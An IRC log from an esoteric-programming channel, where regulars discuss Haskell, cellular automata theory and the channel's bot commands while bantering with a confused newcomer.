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20:53:39 <Taneb> To implement ZOMBIE in Haskell, you'd use... System.Random and Control.Concurrent, for a start
20:55:27 * Sgeo looks at Factor for some reason
20:56:58 <Sgeo> http://factorcode.org/
20:57:08 <fizzie> It's like 3 is a factor of 6.
20:57:43 <zzo38> Kjugobe left so soon?
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21:44:24 <Gregor> `@ damageinc ? welcome
21:44:34 <HackEgo> damageinc: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
21:45:35 <Gregor> Ohhhhhhhhhhhhhhhhhhhhhhhkidokielokie X-D
21:47:25 <ais523> damageinc: err, do you understand what the channel's about? or, umm, anything at all?
21:47:35 <ais523> you just seem to be churning out non sequiturs
21:47:55 <Gregor> To be fair, "im not clickin any links" isn't a non sequitur, it's more just silly.
21:48:40 <fizzie> You never know, about links.
21:49:00 <Gregor> Pretty much every page on the esowiki that isn't tubgirl, is meatspin.
21:49:11 <damageinc> cant to be too careful with whom you meet online
22:00:24 <calamari> Gregor: do I detect a Pinkie Pie reference?
22:02:44 <damageinc> you know theres apps that let you rate your buddies
22:03:03 <damageinc> if for example one of your buddies calls you a name
22:03:20 <zzo38> damageinc: That doesn't interest me
22:03:42 <zzo38> I don't care if they call me a name, much
22:05:08 <damageinc> they got way more options ofcourse
22:05:14 <zzo38> OK. Still, that kind of apps don't interest me
22:06:21 <zzo38> I don't need to rate my buddies
22:08:09 <fizzie> Yes, there's these things.
22:10:20 <itidus20> damageinc: don't worry... if its a website non-geeks would inhabit, then... these guys probably wouldn't ^.^;
22:11:11 <itidus20> just take a look at the room topic
22:11:50 <damageinc> so i thought maybe you guys are on something e s o t e r i c
22:12:04 <Taneb> ...Do you even know what esoteric means?
22:12:06 <zzo38> damageinc: Do you know the esolang wiki?
22:12:19 <HackEgo> This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
22:12:25 <zzo38> Then read esolang wiki
22:12:42 <zzo38> We do, however, discuss a lot of completely differerent things in this channel
22:12:45 <damageinc> im not gonna click links especially not from someone that has no buddies
22:12:56 <itidus20> this is secretly the official haskell channel... just nobody told that to #haskell
22:13:29 * itidus20 looks around with shifty eyes,
22:14:07 <zzo38> The topic message mentioned Iuckqlwviv Kjugobe yesterday but they must have left already
22:14:41 <itidus20> ok ... im tired of showing off how stupid i am.. ill just explain the truth
22:15:08 <itidus20> this channel is about mostly useless computer programming languages
22:15:17 <ion> such as Haskell
22:15:20 <itidus20> it has nothing to do with the occult
22:15:32 <calamari> itidus20: I think you mean mostly awesome
22:16:10 <damageinc> lol i thought this was some really weirdos channel
22:16:12 <zzo38> This channel is mostly about esoteric programming, but we also discuss nearly anything in this channel sometimes
22:16:31 <ion> damageinc: It is.
22:16:33 <zzo38> damageinc: Well, sometimes we are really weirdo
22:17:10 <zzo38> Sometimes we are sane too.
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22:17:28 <itidus20> im just not skilled enough to actually stay on topic
22:17:40 -!- monqy has quit (Disconnected by services).
22:17:45 <itidus20> these esoteric programming languages are pretty heavy going mentally
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22:18:44 <calamari> I never got the hang of the functional langs
22:20:06 <itidus20> calamari: it's because that mathematicians always have to explain things in terms of the entire field of mathematics
22:20:20 <zzo38> I have invented some esolangs, and I also like to play as monster character in D&D game. And also Astrolog (I think they ought to add GPS input too). And mathematics.
22:20:29 <itidus20> they can't dumb things down because then they don't believe they are explaining the same thing any more
22:20:59 <zzo38> I like mathematics too
22:21:10 <calamari> was tossing around an idea the other day.. nothing groundbreaking tho
22:21:14 <itidus20> yeah.. its all or nothing with formal consistency
22:21:31 <zzo38> Recently I have been studying category theory too and its relation with Haskell programming
22:21:39 <calamari> been a while since I was in the language creation mode
22:22:43 <itidus20> i think there is a bootstrapping necessary to understand functional programming
22:22:53 <zzo38> itidus20: Are you sure?
22:24:57 <itidus20> it may be that the math guys lose all sense of how non math guys think
22:25:30 <itidus20> or it could be i just think weird
22:25:48 <monqy> I thought it was well-established that you just think weird
22:26:24 <zzo38> There may be many people on this channel who think weird
22:26:39 <pikhq_> itidus20: Uh, but forall x in X (lambda y. y y) x = x!
22:26:51 <itidus20> to understand a language, is to be in a position where you feel absolutely and utterly overwhelmed by the range of possible constructions you can make
22:26:56 <pikhq_> The above statement brought to you by "throw random shit together"
22:27:07 <itidus20> so overwhelmed that the thought does not even occur to you to try to grasp it all at once
22:30:37 <itidus20> and i just can't get that feeling with mathematics :P
22:30:47 <itidus20> well some of it i can.. the simple parts
22:31:53 <Taneb> itidus20, try learning Haskell?
22:32:01 <pikhq_> The thing with mathematics is, it's huge. You really end up learning what's common to most all fields, and then you *can* learn specific things in detail. And that first bit is actually a decent bit of work if you're starting from ~0 knowledge.
22:32:01 <monqy> Taneb: don't go there
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22:32:17 <monqy> Taneb: do you realize what you're getting into
22:32:27 <Taneb> monqy, I never do.
22:32:32 <Taneb> It's done no harm so far
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22:32:34 <itidus20> worse is the notion of the turing tarpit.. like.. what do people even investigate turing tarpits for
22:32:39 <pikhq_> (I shall consider a US high school education "~0 knowledge", as that's largely education on "plug things in here and you get numbers out")]
22:32:46 <itidus20> if they will never really use them
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22:33:13 <itidus20> i can only assume they gather some ideas about things from it
22:33:17 <pikhq_> itidus20: Turing tarpits are investigated for two reasons: some interesting property they may have (see: cellular automatons), or just because they're fun (see: #esoteric)
22:33:33 <damageinc> then they dont understand object oriented either
22:34:02 <itidus20> Taneb: ok the thing is that i know that haskell will resolve into machine code.. that is like a conceptual safety net
22:34:16 <monqy> itidus20: no it's not
22:34:17 <itidus20> but untyped lambda calculus... i don't know what to make of it
22:34:26 <damageinc> then you math guys dont understand object oriented programming either
22:34:35 <monqy> itidus20: it's dangernet made of knives and broken glass
22:35:51 <itidus20> monqy: an important point is a haskell program running on a given machine can't actually do more than the inherent capability of the underlying machine itself
22:37:10 <itidus20> i kind of rely on this idea :P
22:37:30 <damageinc> but the processor is a linear device so functional programming follows from that
22:37:46 <itidus20> damageinc: well it doesn't have to though.. i accept that
22:37:52 <itidus20> that the machine could be anything
22:39:20 <itidus20> i'm only trying to avoid headaches guys...
22:39:56 <itidus20> really theres no agenda on my part to cause pain or suffering through promotion of non-functional lanngs
22:40:47 <itidus20> damageinc: this room is about the essence of programming :D
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22:40:58 <itidus20> it is guaranteed to shock you a bit
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22:41:12 <itidus20> i already mentioned i am a bit stupid about it
22:41:43 <itidus20> your conventional ideas of computer programming will be challenged in here
22:41:47 <oklopol> okokokokokokokokokokokokoko
22:41:55 <oklopol> ABANDON ALL CONVENTIONAL IDEAS
22:44:03 <oklopol> we just submitted this paper about computational properties of cellular automata on sets X of bi-infinite sequences obtained by forbidding a regular language of subwords so that the there's a polynomial p such that there are at most p(n) subwords of length n in every sequence in X
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22:46:58 <damageinc> thats a freekick on where i come from
22:47:22 <oklopol> in particular, how for a CA f, and such a set X, the subset Y of X of bi-infinite sequences y such that there exists a point x in X such that for arbitrarily large m, f^n(x) agrees with y in a window of size m around the origin for some m and arbitrarily large n, has the property that for all turing machines having an oracle that has an oracle that solves the halting problem can be
22:47:36 <oklopol> oh god i love opening up definitions
22:48:01 <oklopol> well for suitably chosen f and X i mean
22:48:50 * oklopol contemplates his next overly complicated and incomprehensible sentence
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22:57:01 <itidus20> yeah i may as well be reading a foreign language
22:58:16 <itidus20> me vain esittneet tmn paperin noin laskennallisessa ominaisuuksista cellular automaattien on sarjaa X on bi-retn sekvenssit saadaan kieltmll snnllinen kieli alisanat niin, ett on olemassa polynomi p sellainen, ett on korkeintaan p (n) alisanat pituus on n jokaisessa jrjestyksess X
22:58:58 <itidus20> i mean that in good spirits though
22:59:11 <monqy> damageinc: nah he's always like this
23:00:08 <Gregor> <calamari> Gregor: do I detect a Pinkie Pie reference? // NONSENSE
23:01:14 <Gregor> Just to be clear (if anybody's still paying attention), I don't want to read the backlog, right?
23:02:33 <Jafet> oklopol gets paid to prove that CAs are Turing-hard?
23:02:47 -!- ais523 has quit (Remote host closed the connection).
23:03:05 <itidus20> i remember when i was 4 years old i didn't anticipate communicating to a room full of overseas people on a full colour computer and translating a paragraph automatically into a foreign language in a chatroom full of people who use a language named brainfuck
23:03:30 <itidus20> i can say that with as much certainty as anything
23:03:36 <Phantom_Hoover> <Gregor> Just to be clear (if anybody's still paying attention), I don't want to read the backlog, right?
23:03:41 <oklopol> well actually even in that article, the most interesting stuff was of purely mathematical nature, but we added some computational stuff since we're aiming for a cs conference.
23:03:52 <Phantom_Hoover> Unless you find oko obfuscating his research worth reading.
23:04:00 <Gregor> calamari: I would never quote that show. That would be THE. WORST. POSSIBLE. THING.
23:04:36 -!- Zuu has quit (Quit: Reconnecting).
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23:05:01 <itidus20> oklopol: i could read it if i knew what those terms meant :P
23:05:10 <calamari> Gregor: well then prepare yourself: "okie dokie lokie Used often in the children's television show 'My Little Pony: Friendship is Magic' by the character Pinkie Pie."
23:05:27 <Phantom_Hoover> itidus20, I know what all those terms mean and I can't read it.
23:05:52 <oklopol> itidus20: i attempted to open up all definitions that people don't know
23:06:00 <Gregor> calamari: Your failure to detect my followup reference proves that you have insufficient radicalness.
23:06:04 <oklopol> which of course makes it harder to read, see my inlining joke.
23:06:29 <itidus20> technically when i hear CA i imagine a chessboard
23:06:46 <itidus20> but i know a CA can exist in n dimensions so i am already off to a bad start
23:06:48 <oklopol> so basically, CA running on zero-entropy sofic shifts have RE^RE^RE-hard limit sets
23:07:06 <oklopol> which i've mentioned before
23:07:48 <Phantom_Hoover> zzo38, please tell me that it's something you just realised there.
23:07:55 <oklopol> Phantom_Hoover: would be fun to try to actually obfuscate some math though. the problem is bad mathematicians will still be better at it.
23:08:41 <Phantom_Hoover> You have a crazy axiom system and try to reduce it to ZFC.
23:09:25 <Phantom_Hoover> Although that'd just end up with endless "if we turn this definition upside down and apply Zobamogsky's progression to it they're trivially equivalent."
23:09:46 <Gregor> calamari: Pretty sure I'm the only one (we're the only ones?) in this channel.
23:09:59 <oklopol> for example, people who start math in their thirties or later. this one chick at uni has been doing math for roughly as long as me, and if she hears the same term with a completely different definition in two different fields she's like oh i know this stuff already no need to explain.
23:10:02 <itidus20> i think i can safely say operand is to noun as operator is to verb... but beyond these... i wonder if there is anything else
23:10:29 <Phantom_Hoover> Someone once tricked me into saying I was a brony, does that count?
23:10:34 <Jafet> Just invent the axiomatic equivalent of malbolge
23:10:38 <oklopol> and i'm like no it's just a naming convention, they have no known connections really. and she's like nah they're both cycles.
23:10:46 <Jafet> You might even inspire new developments in model theory
23:11:11 <oklopol> itidus20: i do CA theory pretty much exclusively in one dimension
23:11:49 <calamari> Gregor: gone to any meetups? I can't remember where you are these days, but I think they have a pretty big group in Seattle
23:11:52 <Phantom_Hoover> oklopol, every time I encounter stuff like that I assume that there's some ridiculous equivalence which is completely mad that you meet later on.
23:12:17 <zzo38> Phantom_Hoover: Actually, I was simply answering damageinc's question.
23:12:22 <oklopol> yeah that's why i always say "known connections" just in case
23:12:31 <Gregor> calamari: Aside from the fact that I'm the least sociable person on the planet, I'm in the middle of friggin' nowhere at graduate school.
23:12:47 <itidus20> oklopol: i imagine the problem there is that if you wanted to map an infinite 2d CA onto a 1d CA.. you would run into troubles
23:13:04 <calamari> lol then you don't understand brony meetups.. they are full of unsociable nerds
23:13:12 <zzo38> Does anyone in this channel have GHC 7.4? I asked in #haskell channel nobody answer, I can try again, or I can try #ghc possibly, but I will also ask here
23:13:18 <Gregor> But I'm too asocial even for that.
23:14:03 <itidus20> the problem is perhaps in my limited conceptions
23:14:06 <calamari> speaking of which, I'd better wrap this up, I'm the organizer here in tucson
23:14:14 <oklopol> in general, you can't map a 2D CA to a 1D ca in any sensible way when working with infinite sequences / tilings
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23:14:23 <HackEgo> 294) <Phantom__Hoover> Gregor, yeah, but Purdue has poultry science facilities beyond the dreams of avarice.
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23:14:38 <oklopol> with a finite playground, all is naturally boring
23:15:03 <itidus20> oklopol: the problem being a potential need for 2d.. or perhaps not
23:15:11 <monqy> Phantom_Hoover: some new guy, as far as I can tell
23:15:17 <itidus20> i wonder if the 2d actually brings anything to the table
23:15:18 <monqy> as for why he's an idiot, I don't know
23:15:35 <Phantom_Hoover> monqy, perhaps he was once bitten by a radioactive idiot.
23:15:40 <calamari> been trying to edit the pitch of a certain fan characters voice to be a little higher
23:15:50 <oklopol> well my colleague's graduate thesis was about the difference between the 1d and the multi-d case
23:16:01 <itidus20> he.. found his way in here by accident.. and he knows a lot more than me :D
23:16:18 <calamari> Phantom_Hoover: or what? you'll puke rainbows?
23:16:21 <Gregor> Phantom_Hoover: Fine fine, I'll never brony again ... cross my heart and hope to fly, stick a cupcake in my eye!
23:16:31 <oklopol> so yeah 2d does. 3d is basically the same as 2d in the sense natural yes/no questions usually have the same answer.
23:17:07 <calamari> just gotta mix it with a bit of cloud
23:17:11 <Phantom_Hoover> itidus20, astonishing as the proposition is, I think he's dumber than you.
23:17:41 <oklopol> Gregor: kick Gregor for being a brony
23:17:54 <Gregor> oklopol: Sorry, don't have ops!
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23:19:06 <oklopol> <zzo38> I don't need to rate my buddies
23:19:06 <oklopol> <damageinc> cause you dont have no buddies
23:19:19 <oklopol> something about that makes me tingle.
23:19:41 <Gregor> OK, I've registered #esoteric-ponies.
23:20:12 <calamari> I don't believe you but I have to check anyways
23:20:21 <oklopol> almost as if zzo38 made a snipe
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23:22:55 <itidus20> oklopol: but i suppose if you were to have some kind of spiral mapping from 2d into 1d that would be the way to go hence your "in any sensible way"
23:23:19 <oklopol> that won't be a 1D CA though.
23:23:32 <oklopol> the map is not defined by a local rule
23:24:37 <oklopol> it's a *continuous function*, but the image at n does not depend only on the word you see at [n-k, n+k]
23:24:47 <oklopol> (this is the definition of a 1d CA)
23:25:28 <oklopol> and by "image at n" i mean the value you see in cell n after applying the CA
23:26:16 <damageinc> it almost seems as if youre trying to define space
23:26:48 <monqy> itidus20's long lost twin
23:26:55 <oklopol> we're working with the topological space S^Z, where Z is the integers and S is a finite set
23:27:10 <oklopol> the topology is the product topology obtained from the discrete topology of S
23:27:10 <Jafet> Take heart, oklopol, this is your one chance to learn bad mathematics
23:27:47 <oklopol> which means, a continuous function from S^Z to S^Z is a function such that the image at n only depends on the contents of some finite window around the origin
23:28:24 <oklopol> or equivalently, a window around n of finite size.
23:28:47 <oklopol> (they are equivalent because you can extend the windows to a common larger one, and it's still finite.)
23:29:25 <damageinc> you conveniently forgot einsteins there
23:29:26 <oklopol> yeah maybe i shouldn't be given ops here like ever
23:30:13 <oklopol> you would've been kicked before you had time to elaborate that you were *intentionally* trolling
23:30:20 <HackEgo> The Glorious Glasgow Haskell Compilation System, version 7.2.1
23:30:28 <oklopol> zzo38: i liked your comment earlier, did you see
23:30:36 <zzo38> oklopol: Yes I did see.
23:30:46 <damageinc> you cannot arbitrarily extend the size of the windowz and claim there is no change
23:31:34 <damageinc> you dont take into consideration the properties of its space
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23:31:52 <oklopol> i need to retract our article o_o
23:31:55 <zzo38> Is it possible to test a Template Haskell code on HackEgo?
23:32:37 <zzo38> I also need to test unsafeCoerce and GHC.Exts.Any so lambdabot won't work
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23:35:01 <oklopol> damageinc: can you give me an example of an ENDOMORPHISM f of S^Z IN THE CATEGORY OF SETS such that f(x)_0 depends solely on the word x_{[-n, n]} but does not solely depend on the word x_{[-m, m]} for some m > n?
23:35:27 <oklopol> i mean a function from S^Z to itself
23:35:55 <oklopol> do you mean the identity map???
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23:36:28 <oklopol> SO ABOUT THESE PROBABILITIES OF THIS NOT
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23:37:42 <oklopol> I ASSUME YOU MEANT THAT YOU HAVE IN MIND A MEASURE SPACE SUCH THAT THE MEASURE OF THE WHOLE SPACE IS 1 IN WHICH THE PROBABILITY OF THE EVENT THAT YOU DID NOT MEAN THE IDENTITY MAP IS IN THE SUPPORT OF THE MEASURE
23:37:54 <oklopol> yeah i'm not making any sense.
23:38:02 <oklopol> in case you cannot tell the difference
23:38:30 <oklopol> damageinc: the fuck is a flamewar without caps?
23:38:49 <oklopol> do you know what that means
23:39:01 <oklopol> well what's the problem then
23:39:19 <Jafet> FLAMEWARS FORM A LARGE CATEGORY
23:39:24 <oklopol> why are you on irc if you don't want to have an intense flamewar?
23:39:25 <itidus20> i have very thick skin myself.. i can keep coming back despite not understanding 70% of the things that go on here
23:39:34 <damageinc> i was confused between real space and YOUR working space
23:39:58 <oklopol> were you making a serious comment in some other context?
23:40:05 <Phantom_Hoover> itidus20, I do not think you understand 30% of any given sentence posted here.
23:40:13 <damageinc> you asked for it by saying abandon all whatever
23:40:28 <oklopol> i try my best to keep everyone except oerjan under 99%
23:40:40 <oklopol> but you guys talk a lot :/
23:41:35 <oklopol> damageinc: well you shouldn't abandon everything you know about math, math is so insane all by itself that we don't have to obfuscate it deliberately.
23:41:55 <zzo38> I like mathematics
23:42:08 <itidus20> hmm .. maybe math is esoteric at all times
23:42:56 <itidus20> i guess technically math is inherently exoteric
23:43:03 <oklopol> can you be slightly more specific
23:43:12 <oklopol> math on reals or "real math" in some other sense
23:43:25 <damageinc> in my opinion virtual math is a myth
23:43:37 <Jafet> Hot virtual math, on your desktop now
23:43:41 <zzo38> damageinc: What do you mean by virtual math anyways?
23:43:55 <itidus20> damageinc: do you mean.. ideal vs actual?
23:43:57 <oklopol> i think a myth needs to have been heard of by someone in order to have inherent mythical value
23:44:45 <oklopol> ON VIRTUAL SUBSHIFTS WITH THE SALO TOPOLOGY
23:44:56 -!- Phantom_Hoover has left ("Leaving").
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23:45:29 <itidus20> virtual math might be related to the matrix of solidity
23:45:50 <oklopol> ON THE LINEAR ALGEBRA OF MATRICES OF SOLIDITY ON VIRTUAL SUBSHIFTS
23:45:59 <damageinc> i dont believe in virtual math anyway
23:46:04 <HackEgo> 80) <fedoragirl> My mascot is a tree of broccoli. \ 259) <zzo38> ais523: Maybe it is better, because I don't think the octopus will live very well in the tree. But the difference is that the Internet is lying and you cannot see such things; you could make modified picture, though, in order to lie more clearly, at least. \ 296) <treederwright> enjoy being locked in your matrix of solidity \ 708) <Phantom__Hoover>
23:46:12 <oklopol> damageinc: you do realize none of us know what virtual math is?
23:46:29 <zzo38> I don't know what "virtual math" means
23:46:52 <HackEgo> 460) <Taneb> Turned out he got recursion, he just didn't get the return statement \ 466) <Taneb> Cut to February <Taneb> War were declared <Taneb> A galaxy in turmoil <Taneb> Anyway, Febuary '10 \ 467) <Taneb> I can't afford one of those! <Taneb> A grandchild, not a laser printer \ 474) <fizzie> There's that saying that the definition of insanity is doing the same thing over and over again and expecting different
23:46:57 <itidus20> damageinc: its healthy and natural to be confused in here....
23:47:04 <oklopol> Phantom_Hoover: oh. well i don't know yet. have to know what virtual subshifts are first.
23:47:10 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.7841
23:47:36 <Taneb> That's... scarily empty
23:48:22 <oklopol> it would be a bit oklo of me to call something the salo topology.
23:48:26 <Taneb> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.30588
23:49:52 <itidus20> lol "614) <Taneb> I think this has taught us one thing. We can't teach itidus20 lambda calculus by comittee"
23:50:11 <Taneb> Just as true now as it was that sad, sad day
23:50:16 <oklopol> well it uses advanced concepts like binding and free variables
23:50:49 <oklopol> i think we're at the core of all understanding
23:51:39 <Taneb> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.20660
23:51:49 <Phantom_Hoover> Don't say that, that's exactly the sort of thing that got iti to stay.
23:52:14 <Phantom_Hoover> We don't want damageinc getting the impression that anyone actually wants him here.
23:52:26 <monqy> phantom hoover "a real jerk. thanks a lot"
23:52:45 <damageinc> < oklopol> i think we're at the core of all understanding <-- wow !
23:52:58 <zzo38> Phantom_Hoover: I don't care really
23:53:40 <itidus20> i'm incapable of disliking people who leave me to my own devices
23:54:07 <zzo38> How long does it take for Hackage to report a build failure?
23:54:19 <HackEgo> 690) <Ngevd> I'm neither Norwegian nor Finnish <Ngevd> I don't fit in your quaint little categories
23:54:54 <HackEgo> 678) <yrlnry> I personally use while ("Cogito, ergo sum") { ... } because since that is a priori true, it is true in all possible universes, and therefore ensures maximum portability.
23:55:01 <HackEgo> 678) <yrlnry> I personally use while ("Cogito, ergo sum") { ... } because since that is a priori true, it is true in all possible universes, and therefore ensures maximum portability.
23:55:06 <Phantom_Hoover> oklopol, does everyone else find it impossible to work out exactly how ironic everything you say is?
23:55:07 <HackEgo> 678) <yrlnry> I personally use while ("Cogito, ergo sum") { ... } because since that is a priori true, it is true in all possible universes, and therefore ensures maximum portability.
23:55:14 <zzo38> Hay! Stop repeating yourself please!
23:55:27 <HackEgo> grep: unmatched parentheses
23:55:46 <HackEgo> 669) <HackEgo> 678) <Ngevd> Dammit, Gregor, this is not the time to fall in love <HackEgo> 187) <alise> Gregor: You should never have got her pregnant. <Gregor> what whaaaaaaaaaaaat
23:55:54 <oklopol> Phantom_Hoover: the problem is that i'm sort of beyond the whole concept, usually even i can't tell if i'm being sarcastic or not.
23:56:21 <zzo38> Sarcastic? Don't you mean ascetic?
23:56:24 <HackEgo> 648) <Ngevd> Dammit, Gregor, this is not the time to fall in love
23:56:37 <Taneb> zzo38, isn't that the people who don't have any worldly possessions?
23:56:46 <oklopol> there are no errors in my papers, only the occasional sarcasm.
23:57:03 <itidus20> Taneb: it can also be worse than that...
23:57:16 <oklopol> and i can't tell which parts are sarcasm and which are not!
23:57:53 <Taneb> Nobody else edits the TVTropes article on a card game I made...
23:58:18 <zzo38> Do you need TVTropes cards to play this game?
23:58:32 <Taneb> No, but it has many tropes
23:59:16 <oklopol> i THINK "^^" was actually a sarcastic emoticon.
23:59:38 <oklopol> i don't know. would that make a difference?
23:59:52 <oklopol> what's the point of anything? TELL ME
23:59:56 <oklopol> http://www.youtube.com/watch?v=ulIOrQasR18
23:59:57 <itidus20> Taneb: could you link to said article?
00:00:16 <Taneb> http://tvtropes.org/pmwiki/pmwiki.php/TabletopGame/Sopio
00:00:24 <Taneb> It's not much good
00:02:09 <Taneb> This has nothing to do with my liking of Scrolls!
00:02:13 <zzo38> I see nothing about rules of the game not much information
00:02:18 <Taneb> You'd have to start a new topic for that!
00:03:25 <oklopol> so if you could be a magic ghost, would you sneak in peoples houses and watch them
00:04:08 <itidus20> genius loci reminds me of when people are sleeping on a small island only for the island to wake up and start walking as it is revealed to be infact an animal
00:04:14 -!- aloril_ has quit (Read error: Operation timed out).
00:04:46 <monqy> the sea just goes down forever, you should know, itidus20
00:05:08 <oklopol> no it doesn't, chine island is on the other side
00:05:31 <itidus20> monqy: what are the implications of an infinitely deep sea?
00:05:47 <monqy> it's why we have problems
00:06:06 <oklopol> damageinc: does it have a bottom at \omega though?
00:06:23 <oklopol> or at the first uncountable ordinal
00:06:24 <Phantom_Hoover> itidus20, eventually it turns into ice and it has a bottom, qed
00:06:39 <Gregor> Right above the turtle.
00:07:09 <oklopol> animals can't be islands. islands are invisible.
00:07:15 <oklopol> good night, i have no idea
00:07:48 -!- Phantom_Hoover has changed nick to Psalm_Journey.
00:07:50 <damageinc> was built on the dead head of jezus christ
00:08:19 <damageinc> the pope is the antichrist dont you know ?
00:08:24 <oklopol> that's blasphemy, damageinc
00:08:25 -!- aloril_ has joined.
00:08:38 <oklopol> blasphemy is against channel rules
00:08:40 * itidus20 repeats for dramatic effect. sleepy
00:09:01 <zzo38> I doubt the pope is the antichrist. But I agree many (not all) popes can do mistakes and bad things just as much as anyone else can
00:09:02 <oklopol> good night itidus20, have awesome dreams and tell us all about them
00:09:18 <oklopol> zzo38: you are religious of some sort right?
00:09:23 <damageinc> oh come on everyone what the pope in rome covers up ;)
00:09:35 <damageinc> oh come on everyone knows* what the pope in rome covers up ;)
00:09:51 <oklopol> err, obviously god cannot tell us everything
00:09:54 <zzo38> oklopol: Sort of. Not really like other people who are religious.
00:10:03 <damageinc> if the pope is not the antichrist then who is ?
00:10:09 <oklopol> you can't really blame the pope for keeping secrets like this.
00:10:32 <zzo38> damageinc: I my opinion, nobody in particular; it is simply the idea
00:10:37 <pikhq> damageinc: Nobody. There is probably neither christ nor anti-. :)
00:10:38 <itidus20> hmm i return with 1 bun. 1 cheese slice. 1 tomato.
00:10:48 <itidus20> proceeding to combine them into one object
00:11:05 <damageinc> you a denier of jezus christ pikhq ?
00:11:15 <Psalm_Journey> pikhq, thank you for your input into the conversation, please recalibrate sarcasm measurements.
00:11:18 <zzo38> You do not need alchemy to make a simple sandwich
00:11:53 <pikhq> Psalm_Journey: Internet sarcasm is utterly impossible to identify.
00:12:13 <zzo38> Psalm_Journey: Is not supposed to eat gold!
00:13:16 <zzo38> (Unless it is like, monster, in D&D game or whatever, that can eat gold; in which case there would be magic too, so you can use magic to make ham into gold if necessary)
00:13:26 <pikhq> damageinc: Well, I 'spose there's a dude named Jésus Christ or something.
00:13:29 <oklopol> evil is the belief that you have sufficient managerial skills that you can pull of short term bad stuff that will lead to long term good stuff.
00:13:36 <itidus20> zzo38: this was of little comfort watching the tomato juice pour into the bowl as i crushed it into shape without a knife
00:13:58 <pikhq> Probably in Mexico.
00:14:18 <zzo38> itidus20: O, so you are not making an ordinary sandwich. I made a mistake, then, disregard
00:14:41 <oklopol> good is the understanding that people are fucktards and no one will make the slightest sacrifice.
00:15:10 <itidus20> zzo38: but did the earl of sandwich use food alchemy? :-D
00:15:30 <zzo38> itidus20: I don't know.
00:18:57 <itidus20> whoa.. has this been seen? http://www.lcc.gatech.edu/~bogost/courses/fall05/lcc2700/project7.php
00:23:29 <HackEgo> 470) <itidus20> to assume that someone can be described by a rule without exception... is to assume they are omnipotent <oklopol> for instance stones are omnipotent, as they don't do anything, without exception \ 493) <itidus20> monqy: last night in my dreams I saw a false photo album of my childhood... looking ghostly \ 494) <monqy> itidus20: i saw a dancing cgi skeleton named malaria. i danced and played with him.
00:25:52 <itidus20> damage.. ill show you a fun bot request you can do
00:26:18 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.28696
00:26:41 <Taneb> Well, goooooooooodnight
00:26:41 -!- Taneb has quit (Quit: Leaving).
00:27:05 <HackEgo> 2009-09-24.txt:21:49:03: <AnMaster> pikhq, well yes, And I do know how to do the matrixes easily enough. Something like: [\begin{array}{ccccc|c}
00:27:27 <itidus20> hmm.. but its probably considered in bad taste if its done much.. and its very off topic
00:28:07 <itidus20> and infact just typing that apostrophe under the tilde key followed by log gives an output
00:28:17 <HackEgo> 2011-10-31.txt:10:50:22: <fizzie> "Notable people born in Kalajoki: (none known)"
00:28:36 <itidus20> it can give insight into the madness that is this channell
00:29:11 <HackEgo> 2012-02-12.txt:22:13:52: <damageinc> you on * something mate
00:29:52 <itidus20> but yeah.. i shouldnt even be encouraging it
00:30:11 <itidus20> although its a great conversation starter at times
00:30:21 <damageinc> if you get someone in here thats just browsing by
00:30:25 <HackEgo> 2009-03-31.txt:17:43:43: <fizzie> ais523: It was designed for a real need, yes; I vaguely remember the conversation leading to it.
00:30:27 <zzo38> `pastelogs Kjugobe
00:30:36 <zzo38> `pastelogs INTERCAL
00:30:37 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.31459
00:30:41 <damageinc> then they are not gonna remember all the botcommands
00:30:43 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.8464
00:30:58 <itidus20> damageinc: oh you have no idea yah...
00:31:13 <itidus20> the botting in this place is rich and varied
00:31:21 <HackEgo> 2011-12-27.txt:11:19:23: -!- itidus20 has joined #esoteric.
00:31:44 <itidus20> my ids vary between 20 and 21 i should mention
00:31:59 <zzo38> O no there is something wrong with pastelogs it convert \n to a line break
00:32:45 <damageinc> you also do natural language programming itidus20 ?
00:34:12 <itidus20> are you referring to neuro linguistic programming?
00:35:02 -!- aloril_ has quit (Ping timeout: 244 seconds).
00:35:29 -!- aloril_ has joined.
00:36:35 <itidus20> i am aware of some of that stuff but i detest it all...
00:38:57 <itidus20> and if i find myself doing anything related to it i detest it all the more.. well i avoid such things on irc altogether
00:40:35 <itidus20> well just as an alcoholic may drink while knowing its bad for them.. i think all these things represent humans at our worst
00:41:10 <damageinc> sorry mate but i just brainwashed you
00:41:28 <monqy> nah he's always like this
00:42:08 <HackEgo> 2012-02-13.txt:00:42:01: <itidus20> `log itidus philosophy
00:42:27 <HackEgo> 2012-02-13.txt:00:42:01: <itidus20> `log itidus philosophy
00:42:32 <itidus20> ok it doesn't work like that eh
00:42:44 <itidus20> `searchlogs [i]tidus philosophy
00:42:47 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: searchlogs: not found
00:42:55 <itidus20> `searchlog [i]tidus philosophy
00:43:03 <HackEgo> 2011-08-10.txt:16:25:56: <itidus20> There have been over the years schools of art, schools of philosophy.. and the mathematicians would have their disciples etc
00:43:24 <itidus20> `searchlog [i]tidus philosophy
00:43:33 <HackEgo> 2011-09-12.txt:15:11:42: <itidus20> yeah i struggle with this wiki sentence too "The contemporary liberal arts comprise studying literature, languages, philosophy, history, mathematics, and science."
00:44:30 <damageinc> everyone can get confused sometimes
00:44:47 <HackEgo> 2012-02-13.txt:00:44:38: <itidus20> `searchlog [i]tidus hypno
00:45:08 <HackEgo> 2012-02-13.txt:00:08:59: <Psalm_Journey> itidus20 invents self hypnosis
00:45:08 <zzo38> `log [i]tidus hypno
00:45:32 <HackEgo> 2012-02-13.txt:00:45:23: <itidus20> `searchlog [i]tidus mlp
00:45:44 <HackEgo> 2012-02-13.txt:00:45:34: <itidus20> `searchlog [i]tidus nlp
00:45:47 <zzo38> `log [i]tidus.*hypno
00:45:54 <HackEgo> 2012-02-13.txt:00:44:58: <itidus20> `searchlog [i]tidus hypno
00:46:46 <HackEgo> 2012-02-13.txt:00:45:34: <itidus20> `searchlog [i]tidus nlp
